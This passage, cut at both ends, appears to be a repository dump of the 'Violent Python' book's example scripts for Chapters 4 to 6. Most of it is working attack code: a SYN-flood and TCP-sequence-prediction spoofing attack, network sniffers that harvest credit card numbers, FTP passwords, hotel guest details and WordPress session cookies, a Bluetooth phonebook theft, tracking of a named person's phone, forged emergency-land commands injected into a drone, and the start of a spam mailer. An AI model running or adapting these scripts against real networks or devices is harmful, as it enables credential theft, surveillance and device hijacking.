pkt.getlayer(DNS).rcode 9 | qname = pkt.getlayer(DNSQR).qname 10 | if rcode == 3: 11 | print '[!] Name request lookup failed: ' + qname 12 | return True 13 | else: 14 | return False 15 | 16 | 17 | def main(): 18 | unAnsReqs = 0 19 | pkts = rdpcap('domainFlux.pcap') 20 | for pkt in pkts: 21 | if dnsQRTest(pkt): 22 | unAnsReqs = unAnsReqs + 1 23 | print '[!] '+str(unAnsReqs)+' Total Unanswered Name Requests' 24 | 25 | 26 | if __name__ == '__main__': 27 | main() 28 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-4/9-mitnickAttack.py: -------------------------------------------------------------------------------- 1 | import optparse 2 | from scapy.all import * 3 | 4 | 5 | def synFlood(src, tgt): 6 | for sport in range(1024,65535): 7 | IPlayer = IP(src=src, dst=tgt) 8 | TCPlayer = TCP(sport=sport, dport=513) 9 | pkt = IPlayer / TCPlayer 10 | send(pkt) 11 | 12 | 13 | def calTSN(tgt): 14 | seqNum = 0 15 | preNum = 0 16 | diffSeq = 0 17 | 18 | for x in range(1, 5): 19 | if preNum != 0: 20 | preNum = seqNum 21 | pkt = IP(dst=tgt) / TCP() 22 | ans = sr1(pkt, verbose=0) 23 | seqNum = ans.getlayer(TCP).seq 24 | diffSeq = seqNum - preNum 25 | print '[+] TCP Seq Difference: ' + str(diffSeq) 26 | return seqNum + diffSeq 27 | 28 | 29 | def spoofConn(src, tgt, ack): 30 | IPlayer = IP(src=src, dst=tgt) 31 | TCPlayer = TCP(sport=513, dport=514) 32 | synPkt = IPlayer / TCPlayer 33 | send(synPkt) 34 | 35 | IPlayer = IP(src=src, dst=tgt) 36 | TCPlayer = TCP(sport=513, dport=514, ack=ack) 37 | ackPkt = IPlayer / TCPlayer 38 | send(ackPkt) 39 | 40 | 41 | def main(): 42 | parser = optparse.OptionParser('usage %prog '+\ 43 | '-s -S '+\ 44 | '-t ') 45 | parser.add_option('-s', dest='synSpoof', type='string',\ 46 | help='specifc src for SYN Flood') 47 | parser.add_option('-S', dest='srcSpoof', type='string',\ 48 | help='specify src for spoofed connection') 49 | parser.add_option('-t', dest='tgt', type='string',\ 50 | help='specify target address') 51 | (options, args) = parser.parse_args() 52 | 53 | if options.synSpoof == None or options.srcSpoof == None \ 54 | or options.tgt == None: 55 | print parser.usage 56 | exit(0) 57 | else: 58 | synSpoof = options.synSpoof 59 | srcSpoof = options.srcSpoof 60 | tgt = options.tgt 61 | 62 | print '[+] Starting SYN Flood to suppress remote server.' 63 | synFlood(synSpoof, srcSpoof) 64 | print '[+] Calculating correct TCP Sequence Number.' 65 | seqNum = calTSN(tgt) + 1 66 | print '[+] Spoofing Connection.' 67 | spoofConn(srcSpoof, tgt, seqNum) 68 | print '[+] Done.' 69 | 70 | 71 | if __name__ == '__main__': 72 | main() 73 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-4/attack.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/Violent-Python/Violent-Python-Examples/Chapter-4/attack.pcap -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-4/domainFlux.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/Violent-Python/Violent-Python-Examples/Chapter-4/domainFlux.pcap -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-4/download.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/Violent-Python/Violent-Python-Examples/Chapter-4/download.pcap -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-4/fastFlux.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/Violent-Python/Violent-Python-Examples/Chapter-4/fastFlux.pcap -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-4/geotest.kml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 110.8.88.36 6 | 7 | 127.500000,37.000000 8 | 9 | 10 | 11 | 188.39.7.79 12 | 13 | -0.093100,51.514200 14 | 15 | 16 | 17 | 28.38.166.8 18 | 19 | -82.998800,39.961200 20 | 21 | 22 | 23 | 21.133.59.224 24 | 25 | -82.998800,39.961200 26 | 27 | 28 | 29 | 153.117.22.211 30 | 31 | -97.278200,37.752100 32 | 33 | 34 | 35 | 138.88.201.132 36 | 37 | -76.580600,38.344800 38 | 39 | 40 | 41 | 1.103.102.104 42 | 43 | 127.500000,37.000000 44 | 45 | 46 | 47 | 166.123.95.157 48 | 49 | -77.041700,38.897900 50 | 51 | 52 | 53 | 219.173.149.77 54 | 55 | 140.533300,40.633300 56 | 57 | 58 | 59 | 8.155.194.116 60 | 61 | -97.000000,38.000000 62 | 63 | 64 | 65 | 215.60.119.128 66 | 67 | -82.998800,39.961200 68 | 69 | 70 | 71 | 133.115.139.226 72 | 73 | 138.000000,36.000000 74 | 75 | 76 | 77 | 137.153.2.196 78 | 79 | 139.751400,35.685000 80 | 81 | 82 | 83 | 217.30.118.1 84 | 85 | -3.200000,55.950000 86 | 87 | 88 | 89 | 63.77.163.212 90 | 91 | -97.000000,38.000000 92 | 93 | 94 | 95 | 57.70.59.157 96 | 97 | 145.256000,-37.974000 98 | 99 | 100 | 101 | 89.233.181.180 102 | 103 | 14.466700,50.083300 104 | 105 | 106 | 107 | 108 | 109 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-4/geotest.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/Violent-Python/Violent-Python-Examples/Chapter-4/geotest.pcap -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-4/hivemind.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/Violent-Python/Violent-Python-Examples/Chapter-4/hivemind.pcap -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-5/1-testSniff.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | from scapy.all import * 5 | 6 | 7 | def pktPrint(pkt): 8 | if pkt.haslayer(Dot11Beacon): 9 | print '[+] Detected 802.11 Beacon Frame' 10 | elif pkt.haslayer(Dot11ProbeReq): 11 | print '[+] Detected 802.11 Probe Request Frame' 12 | elif pkt.haslayer(TCP): 13 | print '[+] Detected a TCP Packet' 14 | elif pkt.haslayer(DNS): 15 | print '[+] Detected a DNS Packet' 16 | 17 | 18 | conf.iface = 'mon0' 19 | sniff(prn=pktPrint) 20 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-5/10-iphoneFinder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | from scapy.all import * 5 | from bluetooth import * 6 | 7 | 8 | def retBtAddr(addr): 9 | btAddr=str(hex(int(addr.replace(':', ''), 16) + 1))[2:] 10 | btAddr=btAddr[0:2]+":"+btAddr[2:4]+":"+btAddr[4:6]+":"+\ 11 | btAddr[6:8]+":"+btAddr[8:10]+":"+btAddr[10:12] 12 | return btAddr 13 | 14 | def checkBluetooth(btAddr): 15 | btName = lookup_name(btAddr) 16 | if btName: 17 | print '[+] Detected Bluetooth Device: ' + btName 18 | else: 19 | print '[-] Failed to Detect Bluetooth Device.' 20 | 21 | 22 | def wifiPrint(pkt): 23 | iPhone_OUI = 'd0:23:db' 24 | if pkt.haslayer(Dot11): 25 | wifiMAC = pkt.getlayer(Dot11).addr2 26 | if iPhone_OUI == wifiMAC[:8]: 27 | print '[*] Detected iPhone MAC: ' + wifiMAC 28 | btAddr = retBtAddr(wifiMAC) 29 | print '[+] Testing Bluetooth MAC: ' + btAddr 30 | checkBluetooth(btAddr) 31 | 32 | 33 | conf.iface = 'mon0' 34 | sniff(prn=wifiPrint) 35 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-5/11-rfcommScan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | from bluetooth import * 5 | 6 | 7 | def rfcommCon(addr, port): 8 | sock = BluetoothSocket(RFCOMM) 9 | try: 10 | sock.connect((addr, port)) 11 | print '[+] RFCOMM Port ' + str(port) + ' open' 12 | sock.close() 13 | except Exception, e: 14 | print '[-] RFCOMM Port ' + str(port) + ' closed' 15 | 16 | 17 | for port in range(1, 30): 18 | rfcommCon('00:16:38:DE:AD:11', port) 19 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-5/12-sdpScan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | from bluetooth import * 4 | 5 | 6 | def sdpBrowse(addr): 7 | services = find_service(address=addr) 8 | for service in services: 9 | name = service['name'] 10 | proto = service['protocol'] 11 | port = str(service['port']) 12 | print '[+] Found ' + str(name) + ' on ' + str(proto) + ':' + port 13 | 14 | 15 | sdpBrowse('00:16:38:DE:AD:11') 16 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-5/13-ninjaPrint.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | import obexftp 5 | 6 | try: 7 | btPrinter = obexftp.client(obexftp.BLUETOOTH) 8 | btPrinter.connect('00:16:38:DE:AD:11', 2) 9 | btPrinter.put_file('/tmp/ninja.jpg') 10 | print '[+] Printed Ninja Image.' 11 | except: 12 | 13 | print '[-] Failed to print Ninja Image.' 14 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-5/14-blueBug.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import bluetooth 4 | 5 | tgtPhone = 'AA:BB:CC:DD:EE:FF' 6 | 7 | port = 17 8 | 9 | phoneSock = bluetooth.BluetoothSocket(bluetooth.RFCOMM) 10 | phoneSock.connect((tgtPhone, port)) 11 | 12 | for contact in range(1, 5): 13 | atCmd = 'AT+CPBR=' + str(contact) + '\n' 14 | phoneSock.send(atCmd) 15 | result = client_sock.recv(1024) 16 | print '[+] ' + str(contact) + ' : ' + result 17 | 18 | sock.close() 19 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-5/2-creditSniff.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import re 4 | import optparse 5 | from scapy.all import * 6 | 7 | 8 | def findCreditCard(pkt): 9 | raw = pkt.sprintf('%Raw.load%') 10 | americaRE = re.findall('3[47][0-9]{13}', raw) 11 | masterRE = re.findall('5[1-5][0-9]{14}', raw) 12 | visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw) 13 | 14 | if americaRE: 15 | print '[+] Found American Express Card: ' + americaRE[0] 16 | if masterRE: 17 | print '[+] Found MasterCard Card: ' + masterRE[0] 18 | if visaRE: 19 | print '[+] Found Visa Card: ' + visaRE[0] 20 | 21 | 22 | def main(): 23 | parser = optparse.OptionParser('usage %prog -i ') 24 | parser.add_option('-i', dest='interface', type='string',\ 25 | help='specify interface to listen on') 26 | (options, args) = parser.parse_args() 27 | 28 | if options.interface == None: 29 | print parser.usage 30 | exit(0) 31 | else: 32 | conf.iface = options.interface 33 | 34 | try: 35 | print '[*] Starting Credit Card Sniffer.' 36 | sniff(filter='tcp', prn=findCreditCard, store=0) 37 | except KeyboardInterrupt: 38 | exit(0) 39 | 40 | 41 | if __name__ == '__main__': 42 | main() 43 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-5/3-hotelSniff.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | import optparse 5 | from scapy.all import * 6 | 7 | 8 | def findGuest(pkt): 9 | raw = pkt.sprintf('%Raw.load%') 10 | name = re.findall('(?i)LAST_NAME=(.*)&', raw) 11 | room = re.findall("(?i)ROOM_NUMBER=(.*)'", raw) 12 | if name: 13 | print '[+] Found Hotel Guest ' + str(name[0])+\ 14 | ', Room #' + str(room[0]) 15 | 16 | 17 | def main(): 18 | parser = optparse.OptionParser('usage %prog '+\ 19 | '-i ') 20 | parser.add_option('-i', dest='interface',\ 21 | type='string', help='specify interface to listen on') 22 | (options, args) = parser.parse_args() 23 | 24 | if options.interface == None: 25 | print parser.usage 26 | exit(0) 27 | else: 28 | conf.iface = options.interface 29 | 30 | try: 31 | print '[*] Starting Hotel Guest Sniffer.' 32 | sniff(filter='tcp', prn=findGuest, store=0) 33 | except KeyboardInterrupt: 34 | exit(0) 35 | 36 | 37 | if __name__ == '__main__': 38 | main() 39 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-5/4-googleSniff.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import optparse 4 | from scapy.all import * 5 | 6 | 7 | def findGoogle(pkt): 8 | if pkt.haslayer(Raw): 9 | payload = pkt.getlayer(Raw).load 10 | if 'GET' in payload: 11 | if 'google' in payload: 12 | r = re.findall(r'(?i)\&q=(.*?)\&', payload) 13 | if r: 14 | search = r[0].split('&')[0] 15 | search = search.replace('q=', '').\ 16 | replace('+', ' ').replace('%20', ' ') 17 | print '[+] Searched For: ' + search 18 | 19 | 20 | def main(): 21 | parser = optparse.OptionParser('usage %prog -i '+\ 22 | '') 23 | parser.add_option('-i', dest='interface', \ 24 | type='string', help='specify interface to listen on') 25 | (options, args) = parser.parse_args() 26 | 27 | if options.interface == None: 28 | print parser.usage 29 | exit(0) 30 | else: 31 | conf.iface = options.interface 32 | 33 | try: 34 | print '[*] Starting Google Sniffer.' 35 | sniff(filter='tcp port 80', prn=findGoogle) 36 | except KeyboardInterrupt: 37 | exit(0) 38 | 39 | 40 | if __name__ == '__main__': 41 | main() 42 | 43 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-5/5-ftpSniff.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | import optparse 5 | from scapy.all import * 6 | 7 | 8 | def ftpSniff(pkt): 9 | 10 | dest = pkt.getlayer(IP).dst 11 | raw = pkt.sprintf('%Raw.load%') 12 | user = re.findall('(?i)USER (.*)', raw) 13 | pswd = re.findall('(?i)PASS (.*)', raw) 14 | 15 | if user: 16 | print '[*] Detected FTP Login to ' + str(dest) 17 | print '[+] User account: ' + str(user[0]) 18 | elif pswd: 19 | print '[+] Password: ' + str(pswd[0]) 20 | 21 | 22 | def main(): 23 | parser = optparse.OptionParser('usage %prog '+\ 24 | '-i ') 25 | parser.add_option('-i', dest='interface', \ 26 | type='string', help='specify interface to listen on') 27 | (options, args) = parser.parse_args() 28 | 29 | if options.interface == None: 30 | print parser.usage 31 | exit(0) 32 | else: 33 | conf.iface = options.interface 34 | 35 | try: 36 | sniff(filter='tcp port 21', prn=ftpSniff) 37 | except KeyboardInterrupt: 38 | exit(0) 39 | 40 | 41 | if __name__ == '__main__': 42 | main() 43 | 44 | 45 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-5/6-sniffHidden.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import sys 4 | from scapy.all import * 5 | 6 | interface = 'mon0' 7 | 8 | hiddenNets = [] 9 | unhiddenNets = [] 10 | 11 | def sniffDot11(p): 12 | 13 | if p.haslayer(Dot11ProbeResp): 14 | addr2 = p.getlayer(Dot11).addr2 15 | if (addr2 in hiddenNets) & (addr2 not in unhiddenNets): 16 | netName = p.getlayer(Dot11ProbeResp).info 17 | print '[+] Decloaked Hidden SSID : ' +\ 18 | netName + ' for MAC: ' + addr2 19 | unhiddenNets.append(addr2) 20 | 21 | if p.haslayer(Dot11Beacon): 22 | if p.getlayer(Dot11Beacon).info == '': 23 | addr2 = p.getlayer(Dot11).addr2 24 | if addr2 not in hiddenNets: 25 | print '[-] Detected Hidden SSID: ' +\ 26 | 'with MAC:' + addr2 27 | hiddenNets.append(addr2) 28 | 29 | 30 | sniff(iface=interface, prn=sniffDot11) 31 | 32 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-5/6-sniffProbe.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | from scapy.all import * 4 | 5 | interface = 'mon0' 6 | probeReqs = [] 7 | 8 | 9 | def sniffProbe(p): 10 | if p.haslayer(Dot11ProbeReq): 11 | netName = p.getlayer(Dot11ProbeReq).info 12 | if netName not in probeReqs: 13 | probeReqs.append(netName) 14 | print '[+] Detected New Probe Request: ' + netName 15 | 16 | 17 | sniff(iface=interface, prn=sniffProbe) 18 | 19 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-5/7-dup.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | def dupRadio(pkt): 4 | rPkt=pkt.getlayer(RadioTap) 5 | version=rPkt.version 6 | pad=rPkt.pad 7 | present=rPkt.present 8 | notdecoded=rPkt.notdecoded 9 | nPkt = RadioTap(version=version,pad=pad,present=present,notdecoded=notdecoded) 10 | return nPkt 11 | 12 | def dupDot11(pkt): 13 | dPkt=pkt.getlayer(Dot11) 14 | subtype=dPkt.subtype 15 | Type=dPkt.type 16 | proto=dPkt.proto 17 | FCfield=dPkt.FCfield 18 | ID=dPkt.ID 19 | addr1=dPkt.addr1 20 | addr2=dPkt.addr2 21 | addr3=dPkt.addr3 22 | SC=dPkt.SC 23 | addr4=dPkt.addr4 24 | nPkt=Dot11(subtype=subtype,type=Type,proto=proto,FCfield=FCfield,ID=ID,addr1=addr1,addr2=addr2,addr3=addr3,SC=SC,addr4=addr4) 25 | return nPkt 26 | 27 | def dupSNAP(pkt): 28 | sPkt=pkt.getlayer(SNAP) 29 | oui=sPkt.OUI 30 | code=sPkt.code 31 | nPkt=SNAP(OUI=oui,code=code) 32 | return nPkt 33 | 34 | def dupLLC(pkt): 35 | lPkt=pkt.getlayer(LLC) 36 | dsap=lPkt.dsap 37 | ssap=lPkt.ssap 38 | ctrl=lPkt.ctrl 39 | nPkt=LLC(dsap=dsap,ssap=ssap,ctrl=ctrl) 40 | return nPkt 41 | 42 | def dupIP(pkt): 43 | iPkt=pkt.getlayer(IP) 44 | version=iPkt.version 45 | tos=iPkt.tos 46 | ID=iPkt.id 47 | flags=iPkt.flags 48 | ttl=iPkt.ttl 49 | proto=iPkt.proto 50 | src=iPkt.src 51 | dst=iPkt.dst 52 | options=iPkt.options 53 | nPkt=IP(version=version,id=ID,tos=tos,flags=flags,ttl=ttl,proto=proto,src=src,dst=dst,options=options) 54 | return nPkt 55 | 56 | def dupUDP(pkt): 57 | uPkt=pkt.getlayer(UDP) 58 | sport=uPkt.sport 59 | dport=uPkt.dport 60 | nPkt=UDP(sport=sport,dport=dport) 61 | return nPkt 62 | 63 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-5/7-uavSniff.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import threading 4 | import dup 5 | from scapy.all import * 6 | 7 | conf.iface = 'mon0' 8 | NAVPORT = 5556 9 | LAND = '290717696' 10 | EMER = '290717952' 11 | TAKEOFF = '290718208' 12 | 13 | 14 | class interceptThread(threading.Thread): 15 | 16 | def __init__(self): 17 | threading.Thread.__init__(self) 18 | self.curPkt = None 19 | self.seq = 0 20 | self.foundUAV = False 21 | 22 | def run(self): 23 | sniff(prn=self.interceptPkt, filter='udp port 5556') 24 | 25 | def interceptPkt(self, pkt): 26 | if self.foundUAV == False: 27 | print '[*] UAV Found.' 28 | self.foundUAV = True 29 | self.curPkt = pkt 30 | raw = pkt.sprintf('%Raw.load%') 31 | try: 32 | self.seq = int(raw.split(',')[0].split('=')[-1]) + 5 33 | except: 34 | self.seq = 0 35 | 36 | def injectCmd(self, cmd): 37 | radio = dup.dupRadio(self.curPkt) 38 | dot11 = dup.dupDot11(self.curPkt) 39 | snap = dup.dupSNAP(self.curPkt) 40 | llc = dup.dupLLC(self.curPkt) 41 | ip = dup.dupIP(self.curPkt) 42 | udp = dup.dupUDP(self.curPkt) 43 | raw = Raw(load=cmd) 44 | injectPkt = radio / dot11 / llc / snap / ip / udp / raw 45 | sendp(injectPkt) 46 | 47 | def emergencyland(self): 48 | spoofSeq = self.seq + 100 49 | watch = 'AT*COMWDG=%i\r' %spoofSeq 50 | toCmd = 'AT*REF=%i,%s\r' % (spoofSeq + 1, EMER) 51 | self.injectCmd(watch) 52 | self.injectCmd(toCmd) 53 | 54 | def takeoff(self): 55 | spoofSeq = self.seq + 100 56 | watch = 'AT*COMWDG=%i\r' %spoofSeq 57 | toCmd = 'AT*REF=%i,%s\r' % (spoofSeq + 1, TAKEOFF) 58 | self.injectCmd(watch) 59 | self.injectCmd(toCmd) 60 | 61 | 62 | def main(): 63 | uavIntercept = interceptThread() 64 | uavIntercept.start() 65 | print '[*] Listening for UAV Traffic. Please WAIT...' 66 | while uavIntercept.foundUAV == False: 67 | pass 68 | 69 | while True: 70 | tmp = raw_input('[-] Press ENTER to Emergency Land UAV.') 71 | uavIntercept.emergencyland() 72 | 73 | if __name__ == '__main__': 74 | main() 75 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-5/8-fireCatcher.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | import re 5 | import optparse 6 | from scapy.all import * 7 | 8 | cookieTable = {} 9 | 10 | 11 | def fireCatcher(pkt): 12 | raw = pkt.sprintf('%Raw.load%') 13 | r = re.findall('wordpress_[0-9a-fA-F]{32}', raw) 14 | if r and 'Set' not in raw: 15 | if r[0] not in cookieTable.keys(): 16 | cookieTable[r[0]] = pkt.getlayer(IP).src 17 | print '[+] Detected and indexed cookie.' 18 | elif cookieTable[r[0]] != pkt.getlayer(IP).src: 19 | print '[*] Detected Conflict for ' + r[0] 20 | print 'Victim = ' + cookieTable[r[0]] 21 | print 'Attacker = ' + pkt.getlayer(IP).src 22 | 23 | 24 | def main(): 25 | parser = optparse.OptionParser("usage %prog -i ") 26 | parser.add_option('-i', dest='interface', type='string',\ 27 | help='specify interface to listen on') 28 | (options, args) = parser.parse_args() 29 | 30 | if options.interface == None: 31 | print parser.usage 32 | exit(0) 33 | else: 34 | conf.iface = options.interface 35 | 36 | try: 37 | sniff(filter='tcp port 80', prn=fireCatcher) 38 | except KeyboardInterrupt: 39 | exit(0) 40 | 41 | 42 | if __name__ == '__main__': 43 | main() 44 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-5/9-btFind.py: -------------------------------------------------------------------------------- 1 | import time 2 | from bluetooth import * 3 | from datetime import datetime 4 | 5 | def findTgt(tgtName): 6 | foundDevs = discover_devices(lookup_names=True) 7 | for (addr, name) in foundDevs: 8 | if tgtName == name: 9 | print '[*] Found Target Device ' + tgtName 10 | print '[+] With MAC Address: ' + addr 11 | print '[+] Time is: '+str(datetime.now()) 12 | 13 | 14 | tgtName = 'TJ iPhone' 15 | while True: 16 | print '[-] Scanning for Bluetooth Device: ' + tgtName 17 | findTgt(tgtName) 18 | time.sleep(5) 19 | 20 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-5/9-btScan.py: -------------------------------------------------------------------------------- 1 | import time 2 | from bluetooth import * 3 | 4 | alreadyFound = [] 5 | 6 | 7 | def findDevs(): 8 | foundDevs = discover_devices(lookup_names=True) 9 | for (addr, name) in foundDevs: 10 | if addr not in alreadyFound: 11 | print '[*] Found Bluetooth Device: ' + str(name) 12 | print '[+] MAC address: ' + str(addr) 13 | alreadyFound.append(addr) 14 | 15 | 16 | while True: 17 | findDevs() 18 | time.sleep(5) 19 | 20 | 21 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-5/dup.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | def dupRadio(pkt): 4 | rPkt=pkt.getlayer(RadioTap) 5 | version=rPkt.version 6 | pad=rPkt.pad 7 | present=rPkt.present 8 | notdecoded=rPkt.notdecoded 9 | nPkt = RadioTap(version=version,pad=pad,present=present,notdecoded=notdecoded) 10 | return nPkt 11 | 12 | def dupDot11(pkt): 13 | dPkt=pkt.getlayer(Dot11) 14 | subtype=dPkt.subtype 15 | Type=dPkt.type 16 | proto=dPkt.proto 17 | FCfield=dPkt.FCfield 18 | ID=dPkt.ID 19 | addr1=dPkt.addr1 20 | addr2=dPkt.addr2 21 | addr3=dPkt.addr3 22 | SC=dPkt.SC 23 | addr4=dPkt.addr4 24 | nPkt=Dot11(subtype=subtype,type=Type,proto=proto,FCfield=FCfield,ID=ID,addr1=addr1,addr2=addr2,addr3=addr3,SC=SC,addr4=addr4) 25 | return nPkt 26 | 27 | def dupSNAP(pkt): 28 | sPkt=pkt.getlayer(SNAP) 29 | oui=sPkt.OUI 30 | code=sPkt.code 31 | nPkt=SNAP(OUI=oui,code=code) 32 | return nPkt 33 | 34 | def dupLLC(pkt): 35 | lPkt=pkt.getlayer(LLC) 36 | dsap=lPkt.dsap 37 | ssap=lPkt.ssap 38 | ctrl=lPkt.ctrl 39 | nPkt=LLC(dsap=dsap,ssap=ssap,ctrl=ctrl) 40 | return nPkt 41 | 42 | def dupIP(pkt): 43 | iPkt=pkt.getlayer(IP) 44 | version=iPkt.version 45 | tos=iPkt.tos 46 | ID=iPkt.id 47 | flags=iPkt.flags 48 | ttl=iPkt.ttl 49 | proto=iPkt.proto 50 | src=iPkt.src 51 | dst=iPkt.dst 52 | options=iPkt.options 53 | nPkt=IP(version=version,id=ID,tos=tos,flags=flags,ttl=ttl,proto=proto,src=src,dst=dst,options=options) 54 | return nPkt 55 | 56 | def dupUDP(pkt): 57 | uPkt=pkt.getlayer(UDP) 58 | sport=uPkt.sport 59 | dport=uPkt.dport 60 | nPkt=UDP(sport=sport,dport=dport) 61 | return nPkt 62 | 63 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-6/1-viewPage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import mechanize 4 | 5 | 6 | def viewPage(url): 7 | browser = mechanize.Browser() 8 | page = browser.open(url) 9 | source_code = page.read() 10 | print source_code 11 | 12 | 13 | viewPage('http://www.syngress.com/') 14 | 15 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-6/10-sendMail.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import smtplib 4 | from email.mime.text import MIMEText 5 | 6 | 7 | def sendMail(user,pwd,to,subject,text): 8 | 9 | msg = MIMEText(text) 10 | msg['From'] = user 11 | msg['To'] = to 12 | msg['Subject'] = subject 13 | 14 | try: 15 | smtpServer = smtplib.SMTP('smtp.gmail.com', 587) 16 | print "[+] Connecting To Mail Server." 17 | smtpServer.ehlo() 18 | print "[+] Starting Encrypted Session." 19 | smtpServer.starttls() 20 | smtpServer.ehlo() 21 | print "[+] Logging Into Mail Server." 22 | smtpServer.login(user, pwd) 23 | print "[+] Sending Mail." 24 | smtpServer.sendmail(user, to, msg.as_string()) 25 | smtpServer.close() 26 | print "[+] Mail Sent Successfully." 27 | 28 | except: 29 | print "[-] Sending Mail Failed." 30 | 31 | 32 | user = 'username' 33 | pwd = 'password' 34 | 35 | sendMail(user, pwd, 'target@tgt.tgt',\ 36 | 'Re: Important', 'Test Message') 37 | 38 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-6/10-sendSpam.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import smtplib 4 | import optparse 5 | 6 | from email.mime.text import MIMEText 7 | from twitterClass import * 8 | from random import choice 9 | 10 | def sendMail(user,pwd,to,subject,text): 11 | 12 | msg = MIMEText(text) 13 | msg['From'] = user 14 | msg['To'] = to 15 | msg['Subject'] = subject 16 | 17 | try: 18 | smtpServer = smtplib.SMTP('smtp.gmail.com', 587) 19 | print "[+] Connecting To Mail Server." 20 | smtpServer.ehlo() 21 | print "[+] Starting Encrypted Session." 22 | smtpServer.starttls() 23 | smtpServer.ehlo() 24 | print "[+] Logging Into Mail Server." 25 | smtpServer.login(user, pwd) 26 | print "[+] Sending Mail." 27 | smtpServer.sendmail(user, to, msg.as_string()) 28 | smtpServer.close() 29 | print "[+] Mail Sent Successfully." 30 | 31 | except: 32 | print "[-] Sending Mail Failed." 33 | 34 | 35 | def main(): 36 | 37 | parser = optparse.OptionParser('usage %prog '+\ 38 | '-u -t '+\ 39 | '-l -p ') 40 | 41 | parser.add_option('-u', dest='handle', type='string',\ 42 | help='specify twitter handle') 43 | 44 | parser.add_option('-t', dest='tgt', type='string',\ 45 | help='specify target email') 46 | 47 | parser.add_option('-l', dest='user', type='string',\ 48 | help='specify gmail login') 49 | 50 | parser.add_option('-p', dest='pwd', type='string',\ 51 | help='specify gmail password') 52 | 53 | 54 | (options, args) = parser.parse_args() 55 | handle = options.handle 56 | tgt = options.tgt 57 | user = options.user 58 | pwd = options.pwd 59 | 60 | if handle == None or tgt == None\ 61 | or user ==None or pwd==None: 